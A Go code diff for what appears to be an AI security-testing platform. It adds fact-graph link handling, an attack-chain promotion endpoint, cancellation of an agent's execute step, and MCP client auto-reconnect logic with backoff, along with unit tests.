-	Summary                string `json:"summary" binding:"required"`
+	Summary                string            `json:"summary" binding:"required"`
-	Body                   string `json:"body"`
+	Body                   string            `json:"body"`
-	Confidence             string `json:"confidence"`
+	Confidence             string            `json:"confidence"`
-	Pinned                 bool   `json:"pinned"`
+	Pinned                 bool              `json:"pinned"`
-	RelatedVulnerabilityID string `json:"related_vulnerability_id"`
+	RelatedVulnerabilityID string            `json:"related_vulnerability_id"`
+	Links                  []factLinkRequest `json:"links"`
+	LinksText              *string           `json:"links_text"`
 }
 
 // updateFactRequest 部分更新事实；指针字段省略=不修改，body 传 "" 可清空（仍走 merge 逻辑见 Upsert）。
 type updateFactRequest struct {
-	FactKey                *string `json:"fact_key"`
+	FactKey                *string            `json:"fact_key"`
-	Category               *string `json:"category"`
+	Category               *string            `json:"category"`
-	Summary                *string `json:"summary"`
+	Summary                *string            `json:"summary"`
-	Body                   *string `json:"body"`
+	Body                   *string            `json:"body"`
-	Confidence             *string `json:"confidence"`
+	Confidence             *string            `json:"confidence"`
-	Pinned                 *bool   `json:"pinned"`
+	Pinned                 *bool              `json:"pinned"`
-	RelatedVulnerabilityID *string `json:"related_vulnerability_id"`
+	RelatedVulnerabilityID *string            `json:"related_vulnerability_id"`
-	ClearBody              bool    `json:"clear_body"`
+	ClearBody              bool               `json:"clear_body"`
+	Links                  *[]factLinkRequest `json:"links"`
+	LinksText              *string            `json:"links_text"`
+}
+
+func factLinksFromRequest(links []factLinkRequest, linksText *string) (*project.ParsedFactLinks, error) {
+	if len(links) > 0 {
+		parsed := &project.ParsedFactLinks{}
+		for i, l := range links {
+			from := strings.TrimSpace(l.From)
+			edgeType := strings.TrimSpace(l.Type)
+			if from == "" {
+				return nil, fmt.Errorf("links[%d] 须含 from", i)
+			}
+			if edgeType == "" {
+				return nil, fmt.Errorf("links[%d] 须含 type", i)
+			}
+			parsed.Incoming = append(parsed.Incoming, database.ProjectFactEdgeFromInput{
+				From: from, Type: edgeType, Confidence: strings.TrimSpace(l.Confidence),
+			})
+		}
+		return parsed, nil
+	}
+	if linksText != nil {
+		in, err := project.ParseFactLinksText(*linksText)
+		if err != nil {
+			return nil, err
+		}
+		return &project.ParsedFactLinks{Incoming: in}, nil
+	}
+	return &project.ParsedFactLinks{Incoming: []database.ProjectFactEdgeFromInput{}}, nil
+}
+
+type factWithLinksResponse struct {
+	*database.ProjectFact
+	OutgoingLinks []*database.ProjectFactEdge `json:"outgoing_links,omitempty"`
+	IncomingLinks []*database.ProjectFactEdge `json:"incoming_links,omitempty"`
+	LinkCounts    *project.LinkCounts         `json:"link_counts,omitempty"`
+}
+
+func (h *ProjectHandler) applyFactLinksAfterUpsert(projectID string, fact *database.ProjectFact, links []factLinkRequest, linksText *string, explicitLinks, parseBody bool) error {
+	if explicitLinks {
+		parsed, err := factLinksFromRequest(links, linksText)
+		if err != nil {
+			return err
+		}
+		return project.PersistFactLinksFromParsed(h.db, projectID, fact.FactKey, fact.SourceConversationID, parsed, true)
+	}
+	if parseBody {
+		inputs := project.ParseLinksFromBody(fact.Body)
+		if inputs == nil {
+			return nil
+		}
+		return project.PersistFactIncomingLinks(h.db, projectID, fact.FactKey, inputs, true)
+	}
+	return nil
+}
+
+func (h *ProjectHandler) factResponseWithLinks(projectID string, f *database.ProjectFact, includeLinks bool) interface{} {
+	if !includeLinks || f == nil {
+		return f
+	}
+	out, _ := h.db.ListOutgoingProjectFactEdges(projectID, f.FactKey)
+	in, _ := h.db.ListIncomingProjectFactEdges(projectID, f.FactKey)
+	return &factWithLinksResponse{
+		ProjectFact:   f,
+		OutgoingLinks: out,
+		IncomingLinks: in,
+	}
 }
 
 // ListFacts GET /api/projects/:id/facts （fact_key 查询参数可获取单条详情）
@@ -244,7 +332,8 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
 			c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
 			return
 		}
-		c.JSON(http.StatusOK, f)
+		includeLinks := c.Query("include_links") == "1" || c.Query("include_links") == "true"
+		c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, f, includeLinks))
 		return
 	}
 	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "100"))
@@ -275,7 +364,52 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
 		}
 		list = filtered
 	}
-	c.JSON(http.StatusOK, list)
+	includeLinkCounts := c.Query("include_link_counts") == "1" || c.Query("include_link_counts") == "true"
+	if !includeLinkCounts {
+		c.JSON(http.StatusOK, list)
+		return
+	}
+	counts, err := project.LoadProjectFactLinkCounts(h.db, projectID)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	out := make([]factWithLinksResponse, 0, len(list))
+	for _, f := range list {
+		item := factWithLinksResponse{ProjectFact: f}
+		if c, ok := counts[f.FactKey]; ok {
+			cc := c
+			item.LinkCounts = &cc
+		}
+		out = append(out, item)
+	}
+	c.JSON(http.StatusOK, out)
+}
+
+// GetFactGraph GET /api/projects/:id/fact-graph?view=path|full
+func (h *ProjectHandler) GetFactGraph(c *gin.Context) {
+	projectID := c.Param("id")
+	if _, err := h.db.GetProject(projectID); err != nil {
+		c.JSON(http.StatusNotFound, gin.H{"error": "项目不存在"})
+		return
+	}
+	view := c.DefaultQuery("view", "path")
+	excludeDeprecated := true
+	if v := c.Query("exclude_deprecated"); v == "0" || v == "false" {
+		excludeDeprecated = false
+	}
+	graph, err := project.BuildProjectFactGraph(h.db, projectID, view, excludeDeprecated)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if graph.Nodes == nil {
+		graph.Nodes = []database.ProjectFactGraphNode{}
+	}
+	if graph.Edges == nil {
+		graph.Edges = []database.ProjectFactGraphEdge{}
+	}
+	c.JSON(http.StatusOK, graph)
 }
 
 // CreateFact POST /api/projects/:id/facts
@@ -285,8 +419,9 @@ func (h *ProjectHandler) CreateFact(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
+	projectID := c.Param("id")
 	f := &database.ProjectFact{
-		ProjectID:              c.Param("id"),
+		ProjectID:              projectID,
 		FactKey:                req.FactKey,
 		Category:               req.Category,
 		Summary:                req.Summary,
@@ -300,16 +435,24 @@ func (h *ProjectHandler) CreateFact(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
-	c.JSON(http.StatusOK, created)
+	explicitLinks := req.Links != nil || req.LinksText != nil
+	if err := h.applyFactLinksAfterUpsert(projectID, created, req.Links, req.LinksText, explicitLinks, !explicitLinks); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	created, _ = h.db.GetProjectFactByKey(projectID, created.FactKey)
+	c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, created, true))
 }
 
 // UpdateFact PUT /api/projects/:id/facts/:factId
 func (h *ProjectHandler) UpdateFact(c *gin.Context) {
+	projectID := c.Param("id")
 	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
+	if err != nil || existing.ProjectID != projectID {
 		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
 		return
 	}
+	oldFactKey := existing.FactKey
 	var req updateFactRequest
 	if err := c.ShouldBindJSON(&req); err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -345,7 +488,29 @@ func (h *ProjectHandler) UpdateFact(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
-	c.JSON(http.StatusOK, updated)
+	if oldFactKey != updated.FactKey {
+		if err := h.db.RenameProjectFactKeyEdges(projectID, oldFactKey, updated.FactKey); err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	if req.Links != nil || req.LinksText != nil {
+		var links []factLinkRequest
+		if req.Links != nil {
+			links = *req.Links
+		}
+		if err := h.applyFactLinksAfterUpsert(projectID, updated, links, req.LinksText, true, false); err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+	} else if req.ClearBody || req.Body != nil {
+		if err := h.applyFactLinksAfterUpsert(projectID, updated, nil, nil, false, true); err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	updated, _ = h.db.GetProjectFactByKey(projectID, updated.FactKey)
+	c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, updated, true))
 }
 
 // DeleteFact DELETE /api/projects/:id/facts/:factId
@@ -398,3 +563,82 @@ func (h *ProjectHandler) RestoreFact(c *gin.Context) {
 	}
 	c.JSON(http.StatusOK, gin.H{"success": true})
 }
+
+type createFactEdgeRequest struct {
+	SourceFactKey string `json:"source_fact_key" binding:"required"`
+	TargetFactKey string `json:"target_fact_key" binding:"required"`
+	EdgeType      string `json:"edge_type" binding:"required"`
+	Confidence    string `json:"confidence"`
+}
+
+// ListFactEdges GET /api/projects/:id/fact-edges
+func (h *ProjectHandler) ListFactEdges(c *gin.Context) {
+	projectID := c.Param("id")
+	edges, err := h.db.ListProjectFactEdgesByProject(projectID)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if edges == nil {
+		edges = []*database.ProjectFactEdge{}
+	}
+	c.JSON(http.StatusOK, edges)
+}
+
+// CreateFactEdge POST /api/projects/:id/fact-edges
+func (h *ProjectHandler) CreateFactEdge(c *gin.Context) {
+	projectID := c.Param("id")
+	var req createFactEdgeRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	edge, err := h.db.AddProjectFactEdge(projectID, database.ProjectFactEdgeInput{
+		To:         req.TargetFactKey,
+		Type:       req.EdgeType,
+		Confidence: req.Confidence,
+	}, req.SourceFactKey, "")
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	if f, err := h.db.GetProjectFactByKey(projectID, req.TargetFactKey); err == nil {
+		in, _ := h.db.ListIncomingProjectFactEdges(projectID, req.TargetFactKey)
+		f.Body = project.SyncBodyLinksSection(f.Body, in)
+		_, _ = h.db.UpsertProjectFact(f)
+	}
+	c.JSON(http.StatusOK, edge)
+}
+
+// DeleteFactEdge DELETE /api/projects/:id/fact-edges/:edgeId
+func (h *ProjectHandler) DeleteFactEdge(c *gin.Context) {
+	projectID := c.Param("id")
+	edgeID := c.Param("edgeId")
+	edge, err := h.db.GetProjectFactEdge(edgeID)
+	if err != nil || edge.ProjectID != projectID {
+		c.JSON(http.StatusNotFound, gin.H{"error": "边不存在"})
+		return
+	}
+	if err := h.db.DeleteProjectFactEdge(edgeID); err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if f, err := h.db.GetProjectFactByKey(projectID, edge.TargetFactKey); err == nil {
+		in, _ := h.db.ListIncomingProjectFactEdges(projectID, edge.TargetFactKey)
+		f.Body = project.SyncBodyLinksSection(f.Body, in)
+		_, _ = h.db.UpsertProjectFact(f)
+	}
+	c.JSON(http.StatusOK, gin.H{"success": true})
+}
+
+// PromoteAttackChain POST /api/projects/:id/promote-attack-chain/:conversationId
+func (h *ProjectHandler) PromoteAttackChain(c *gin.Context) {
+	projectID := c.Param("id")
+	conversationID := c.Param("conversationId")
+	result, err := attackchain.PromoteToProject(h.db, projectID, conversationID)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, result)
+}

internal/handler/project_context.go

@@ -30,3 +30,19 @@ func (h *AgentHandler) projectBlackboardBlock(conversationID string) string {
 	}
 	return strings.TrimSpace(block)
 }
+
+// conversationProjectID 返回对话绑定的项目 ID；未绑定或查询失败时返回空字符串。
+func (h *AgentHandler) conversationProjectID(conversationID string) string {
+	if h == nil || h.db == nil {
+		return ""
+	}
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return ""
+	}
+	projectID, err := h.db.GetConversationProjectID(conversationID)
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(projectID)
+}

internal/handler/robot.go

@@ -447,7 +447,7 @@ func (h *RobotHandler) cmdUnbindProject(platform, userID string) string {
 }
 
 func (h *RobotHandler) cmdList() string {
-	convs, err := h.db.ListConversations(50, 0, "")
+	convs, err := h.db.ListConversations(50, 0, "", "")
 	if err != nil {
 		return "获取对话列表失败: " + err.Error()
 	}
@@ -594,6 +594,9 @@ func (h *RobotHandler) cmdDelete(platform, userID, convID string) string {
 		h.mu.Unlock()
 		h.deleteSessionBinding(sk)
 	}
+	if h.agentHandler != nil {
+		h.agentHandler.CancelRunningTaskForConversation(convID)
+	}
 	if err := h.db.DeleteConversation(convID); err != nil {
 		return "删除失败: " + err.Error()
 	}

internal/handler/task_manager.go

@@ -37,6 +37,11 @@ type AgentTask struct {
 	// InterruptContinueNote 无 MCP 时「中断并继续」由用户在弹窗中填写的补充说明（Cancel 前写入，续跑轮次读取后清空）
 	InterruptContinueNote string `json:"-"`
 
+	// activeEinoExecuteCancel 当前进行中的 Eino filesystem execute 取消函数（与 MCP 工具并行，供中断并继续）
+	activeEinoExecuteCancel context.CancelFunc
+	// activeEinoExecuteAbortNote AbortActiveEinoExecute 写入的用户说明，由 execute 收尾时合并进工具结果
+	activeEinoExecuteAbortNote string
+
 	cancel func(error)
 }
 
@@ -70,6 +75,69 @@ func (m *AgentTaskManager) UnregisterRunningTool(conversationID, executionID str
 	}
 }
 
+// RegisterActiveEinoExecute 登记进行中的 Eino filesystem execute（每会话同时仅一条）。
+func (m *AgentTaskManager) RegisterActiveEinoExecute(conversationID string, cancel context.CancelFunc) {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" || cancel == nil {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if t, ok := m.tasks[conversationID]; ok && t != nil {
+		t.activeEinoExecuteCancel = cancel
+		t.activeEinoExecuteAbortNote = ""
+	}
+}
+
+// UnregisterActiveEinoExecute execute 正常结束或已取消后清除登记。
+func (m *AgentTaskManager) UnregisterActiveEinoExecute(conversationID string) {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if t, ok := m.tasks[conversationID]; ok && t != nil {
+		t.activeEinoExecuteCancel = nil
+		t.activeEinoExecuteAbortNote = ""
+	}
+}
+
+// AbortActiveEinoExecute 终止当前 Eino execute 并暂存用户说明（与 MCP 工具终止一致）。
+func (m *AgentTaskManager) AbortActiveEinoExecute(conversationID, note string) bool {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return false
+	}
+	m.mu.Lock()
+	t, ok := m.tasks[conversationID]
+	if !ok || t == nil || t.activeEinoExecuteCancel == nil {
+		m.mu.Unlock()
+		return false
+	}
+	t.activeEinoExecuteAbortNote = strings.TrimSpace(note)
+	cancel := t.activeEinoExecuteCancel
+	m.mu.Unlock()
+	cancel()
+	return true
+}
+
+// TakeEinoExecuteAbortNote 读取并清空 execute 终止说明（execute 收尾时调用一次）。
+func (m *AgentTaskManager) TakeEinoExecuteAbortNote(conversationID string) string {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return ""
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if t, ok := m.tasks[conversationID]; ok && t != nil {
+		n := t.activeEinoExecuteAbortNote
+		t.activeEinoExecuteAbortNote = ""
+		return n
+	}
+	return ""
+}
+
 // SetInterruptContinueNote 在发起 ErrInterruptContinue 取消前写入用户补充说明（仅内存）。
 func (m *AgentTaskManager) SetInterruptContinueNote(conversationID, note string) {
 	conversationID = strings.TrimSpace(conversationID)

internal/handler/task_manager_eino_execute_test.go

@@ -0,0 +1,40 @@
+package handler
+
+import (
+	"context"
+	"testing"
+	"time"
+)
+
+func TestAbortActiveEinoExecute(t *testing.T) {
+	m := NewAgentTaskManager()
+	conv := "conv-eino-exec-abort"
+	ctx, cancel := context.WithCancel(context.Background())
+	_, err := m.StartTask(conv, "test", func(error) {})
+	if err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+	m.RegisterActiveEinoExecute(conv, cancel)
+
+	done := make(chan struct{})
+	go func() {
+		<-ctx.Done()
+		close(done)
+	}()
+
+	if !m.AbortActiveEinoExecute(conv, "跳过域名收集") {
+		t.Fatal("expected abort to succeed")
+	}
+	select {
+	case <-done:
+	case <-time.After(2 * time.Second):
+		t.Fatal("execute cancel did not propagate")
+	}
+	if got := m.TakeEinoExecuteAbortNote(conv); got != "跳过域名收集" {
+		t.Fatalf("abort note = %q, want 跳过域名收集", got)
+	}
+	m.UnregisterActiveEinoExecute(conv)
+	if m.AbortActiveEinoExecute(conv, "") {
+		t.Fatal("second abort should fail when no active execute")
+	}
+}

internal/mcp/client_sdk.go

@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
 	return nil
 }
 
+// markDisconnected 在检测到传输层断连时关闭底层 session，避免 IsConnected 仍返回 true。
+func (c *lazySDKClient) markDisconnected() {
+	c.mu.Lock()
+	inner := c.inner
+	sessionCancel := c.sessionCancel
+	c.inner = nil
+	c.sessionCancel = nil
+	c.mu.Unlock()
+	if sessionCancel != nil {
+		sessionCancel()
+	}
+	if inner != nil {
+		_ = inner.Close()
+	}
+	c.setStatus("disconnected")
+}
+
 func (c *sdkClient) setStatus(s string) {
 	c.mu.Lock()
 	defer c.mu.Unlock()

internal/mcp/connection_recovery.go

@@ -0,0 +1,192 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"io"
+	"strings"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+const (
+	// externalReconnectMinInterval 两次自动重连之间的最短间隔
+	externalReconnectMinInterval = 30 * time.Second
+	// externalReconnectMaxBackoff 指数退避上限
+	externalReconnectMaxBackoff = 5 * time.Minute
+)
+
+// isConnectionDeadError 判断错误是否表示底层传输已断开（而非调用方主动取消或超时）。
+func isConnectionDeadError(err error) bool {
+	if err == nil {
+		return false
+	}
+	if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
+		return false
+	}
+	if errors.Is(err, io.EOF) {
+		return true
+	}
+	s := strings.ToLower(err.Error())
+	return strings.Contains(s, "eof") ||
+		strings.Contains(s, "client is closing") ||
+		strings.Contains(s, "connection closed") ||
+		strings.Contains(s, "connection reset") ||
+		strings.Contains(s, "broken pipe")
+}
+
+// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时，标记客户端并调度重连。
+func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
+	if !isConnectionDeadError(err) {
+		return
+	}
+	m.logger.Warn("检测到外部MCP连接已断开，将尝试自动重连",
+		zap.String("name", name),
+		zap.Error(err),
+	)
+	m.markClientDisconnected(name, client, err)
+	m.scheduleReconnect(name)
+}
+
+func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
+	if lazy, ok := client.(*lazySDKClient); ok {
+		lazy.markDisconnected()
+	}
+	m.mu.Lock()
+	if err != nil {
+		m.errors[name] = "连接已断开: " + err.Error()
+	}
+	m.mu.Unlock()
+	m.toolCountsMu.Lock()
+	m.toolCounts[name] = 0
+	m.toolCountsMu.Unlock()
+}
+
+func (m *ExternalMCPManager) onClientConnected(name string) {
+	m.clearReconnectState(name)
+}
+
+func (m *ExternalMCPManager) clearReconnectState(name string) {
+	m.reconnectMu.Lock()
+	delete(m.reconnectAttempts, name)
+	delete(m.reconnectLastTry, name)
+	delete(m.reconnecting, name)
+	m.reconnectMu.Unlock()
+}
+
+func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
+	if attempts <= 0 {
+		return 0
+	}
+	d := externalReconnectMinInterval
+	for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
+		d *= 2
+	}
+	if d > externalReconnectMaxBackoff {
+		return externalReconnectMaxBackoff
+	}
+	return d
+}
+
+func (m *ExternalMCPManager) scheduleReconnect(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	go m.tryReconnect(name)
+}
+
+func (m *ExternalMCPManager) tryReconnect(name string) {
+	m.reconnectMu.Lock()
+	if m.reconnecting[name] {
+		m.reconnectMu.Unlock()
+		return
+	}
+	attempts := m.reconnectAttempts[name]
+	if wait := m.reconnectBackoff(attempts); wait > 0 {
+		if last, ok := m.reconnectLastTry[name]; ok {
+			if elapsed := time.Since(last); elapsed < wait {
+				remaining := wait - elapsed
+				m.reconnectMu.Unlock()
+				m.scheduleReconnectAfter(name, remaining)
+				return
+			}
+		}
+	}
+	m.reconnecting[name] = true
+	m.reconnectMu.Unlock()
+
+	defer func() {
+		m.reconnectMu.Lock()
+		delete(m.reconnecting, name)
+		m.reconnectMu.Unlock()
+	}()
+
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	client, hasClient := m.clients[name]
+	connecting := hasClient && client.GetStatus() == "connecting"
+	m.mu.RUnlock()
+
+	if !enabled {
+		m.logger.Debug("跳过自动重连（外部MCP已停用）", zap.String("name", name))
+		return
+	}
+	if connecting {
+		m.logger.Debug("跳过自动重连（连接正在进行中）", zap.String("name", name))
+		return
+	}
+
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = attempts + 1
+	attemptNum := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+
+	m.logger.Info("正在自动重连外部MCP",
+		zap.String("name", name),
+		zap.Int("attempt", attemptNum),
+	)
+
+	if err := m.startClient(name, true); err != nil {
+		m.logger.Warn("自动重连外部MCP失败",
+			zap.String("name", name),
+			zap.Error(err),
+		)
+	}
+}
+
+// scheduleReconnectAfterFailure 在自动重连失败后，按当前退避间隔预约下一次重试。
+func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	m.reconnectMu.Lock()
+	wait := m.reconnectBackoff(m.reconnectAttempts[name])
+	m.reconnectMu.Unlock()
+	m.logger.Info("自动重连失败，将按退避间隔再次尝试",
+		zap.String("name", name),
+		zap.Duration("after", wait),
+	)
+	m.scheduleReconnectAfter(name, wait)
+}
+
+// scheduleReconnectAfter 在 delay 后触发 tryReconnect（delay<=0 时立即执行）。
+func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
+	if delay <= 0 {
+		go m.tryReconnect(name)
+		return
+	}
+	time.AfterFunc(delay, func() {
+		m.tryReconnect(name)
+	})
+}

internal/mcp/connection_recovery_test.go

@@ -0,0 +1,215 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"go.uber.org/zap"
+)
+
+func TestIsConnectionDeadError(t *testing.T) {
+	t.Parallel()
+	cases := []struct {
+		name string
+		err  error
+		want bool
+	}{
+		{"nil", nil, false},
+		{"eof", io.EOF, true},
+		{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
+		{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
+		{"connection reset", errors.New("read tcp: connection reset by peer"), true},
+		{"canceled", context.Canceled, false},
+		{"deadline", context.DeadlineExceeded, false},
+		{"other", errors.New("invalid params"), false},
+	}
+	for _, tc := range cases {
+		tc := tc
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+			if got := isConnectionDeadError(tc.err); got != tc.want {
+				t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
+			}
+		})
+	}
+}
+
+func TestLazySDKClient_MarkDisconnected(t *testing.T) {
+	c := &lazySDKClient{status: "connected"}
+	c.inner = &sdkClient{status: "connected"}
+	c.markDisconnected()
+	if c.IsConnected() {
+		t.Fatal("expected disconnected after markDisconnected")
+	}
+	if c.GetStatus() != "disconnected" {
+		t.Fatalf("expected status disconnected, got %s", c.GetStatus())
+	}
+}
+
+func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "dead-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	m.mu.Lock()
+	m.configs[name] = cfg
+	client := newLazySDKClient(cfg, logger)
+	client.inner = &sdkClient{status: "connected"}
+	client.status = "connected"
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
+	m.handleConnectionDead(name, client, deadErr)
+
+	if client.IsConnected() {
+		t.Fatal("expected disconnected after handleConnectionDead")
+	}
+	if m.GetError(name) == "" {
+		t.Fatal("expected error message to be recorded")
+	}
+	counts := m.GetToolCounts()
+	if counts[name] != 0 {
+		t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
+	}
+}
+
+func TestReconnectBackoff(t *testing.T) {
+	t.Parallel()
+	if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
+		t.Fatalf("attempt 0: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
+		t.Fatalf("attempt 1: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
+		t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
+	}
+}
+
+func TestTryReconnect_RateLimited(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "rate-limited"
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = 2
+	m.reconnectMu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 2 {
+		t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "disabled-mcp"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "connecting-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	client := newLazySDKClient(cfg, logger)
+	client.setStatus("connecting")
+
+	m.mu.Lock()
+	m.configs[name] = cfg
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+	m.stopRefresh = make(chan struct{})
+
+	name := "stopped"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	if err := m.startClient(name, true); err != nil {
+		t.Fatalf("startClient: %v", err)
+	}
+
+	m.mu.RLock()
+	cfg := m.configs[name]
+	_, hasClient := m.clients[name]
+	m.mu.RUnlock()
+	if cfg.ExternalMCPEnable {
+		t.Fatal("auto reconnect should not enable stopped MCP")
+	}
+	if hasClient {
+		t.Fatal("auto reconnect should not create client when disabled")
+	}
+}
+
+func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
+	m := &ExternalMCPManager{
+		reconnectAttempts: map[string]int{"x": 3},
+		reconnectLastTry:  map[string]time.Time{"x": time.Now()},
+		reconnecting:      map[string]bool{"x": true},
+	}
+	m.onClientConnected("x")
+
+	m.reconnectMu.Lock()
+	defer m.reconnectMu.Unlock()
+	if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
+		t.Fatal("expected reconnect state cleared")
+	}
+}

internal/mcp/external_manager.go

@@ -15,6 +15,26 @@ import (
 	"go.uber.org/zap"
 )
 
+const (
+	// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期，避免每次 API 请求都打远程 ListTools。
+	externalToolListCacheTTL = 60 * time.Second
+	// externalToolCountRefreshInterval 后台刷新工具数量的间隔（仅刷新缓存过期或缺失的客户端）。
+	externalToolCountRefreshInterval = 60 * time.Second
+)
+
+// toolListCacheEntry 外部 MCP 工具列表缓存条目
+type toolListCacheEntry struct {
+	tools     []Tool
+	updatedAt time.Time
+}
+
+// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
+type listToolsInflight struct {
+	done  chan struct{}
+	tools []Tool
+	err   error
+}
+
